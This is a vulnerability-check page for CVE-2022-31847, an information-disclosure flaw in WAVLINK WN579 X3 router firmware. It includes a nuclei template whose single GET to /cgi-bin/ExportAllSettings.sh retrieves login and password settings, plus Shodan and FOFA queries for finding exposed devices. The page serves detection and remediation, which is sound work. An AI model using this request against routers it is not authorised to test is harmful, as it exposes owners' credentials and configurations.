WAVLINK WN579 X3 M79X3.V5030.180719 - Information Disclosure

highseverity

7.5CVSS score

6.6%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

WAVLINK WN579 X3 M79X3.V5030.180719 is susceptible to information disclosure in /cgi-bin/ExportAllSettings.sh. An attacker can obtain sensitive router information via a crafted POST request and thereby possibly obtain additional sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can exploit this vulnerability to gain access to sensitive information, such as router configuration settings and user credentials.

Fix

Apply the latest firmware update provided by the vendor to fix the information disclosure vulnerability.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/ExportAllSettings.sh
Positive when: contains "Login=" and "Password=" and "Model=" and "AuthMode=" AND status 200

Run it with nuclei: nuclei -id CVE-2022-31847 -u <target>

The full check

id: CVE-2022-31847

info:
  name: WAVLINK WN579 X3 M79X3.V5030.180719 - Information Disclosure
  author: arafatansari
  severity: high
  description: |
    WAVLINK WN579 X3 M79X3.V5030.180719 is susceptible to information disclosure in /cgi-bin/ExportAllSettings.sh. An attacker can obtain sensitive router information via a crafted POST request and thereby possibly obtain additional sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, such as router configuration settings and user credentials.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the information disclosure vulnerability.
  reference:
    - https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN579%20X3__Sensitive%20information%20leakage.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31847
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-31847
    cwe-id: CWE-425
    epss-score: 0.06555
    epss-percentile: 0.93867
    cpe: cpe:2.3:o:wavlink:wn579x3_firmware:m79x3.v5030.180719:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn579x3_firmware
    shodan-query:
      - http.html:"Wavlink"
      - http.html:"wavlink"
    fofa-query: body="wavlink"
  tags: cve,cve2022,wavlink,exposure,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportAllSettings.sh"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Login='
          - 'Password='
          - 'Model='
          - 'AuthMode='
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from